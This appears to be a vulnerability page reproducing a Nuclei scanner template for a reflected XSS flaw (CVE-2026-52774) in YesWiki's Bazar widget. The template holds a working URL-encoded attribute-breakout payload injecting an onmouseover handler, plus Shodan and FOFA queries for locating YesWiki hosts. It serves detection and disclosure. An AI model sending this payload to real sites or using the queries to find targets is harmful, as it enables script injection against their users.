CVE-2026-52774: YesWiki Bazar Widget - Reflected XSS via 'id' Parameter

2026-07-31 YesWiki Bazar Widget PoC Public

Description

YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.

PoC

id: CVE-2026-52774

info:
  name: YesWiki Bazar Widget - Reflected XSS via 'id' Parameter
  author: 0x_Akoko
  severity: medium
  description: |
   YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.
  impact: |
   Attackers can execute arbitrary JavaScript in victims' browsers.
  remediation: |
   Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-r5xw-gcgw-hwp5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-52774
    epss-score: 0.00507
    epss-percentile: 0.42063
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,xss,reflected

http:
  - method: GET
    path:
      - "{{BaseURL}}/NoSuchPage/widget?id=%22%20onmouseover=%22alert(document.domain)%22%20x=%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-formid="" onmouseover="alert(document.domain)" x=""'
          - 'widgetapp'
        condition: and

      - type: word
        part: body
        words:
          - "yeswiki"
          - "YesWiki"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206844d61170e3856a478e2d07fff4d43126272f0d4215fc0195851d97118def6a0221009c09ac3a023ce93792e7280ed71215b08d96ebd5fca52c5b7647a7550b34cd08:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities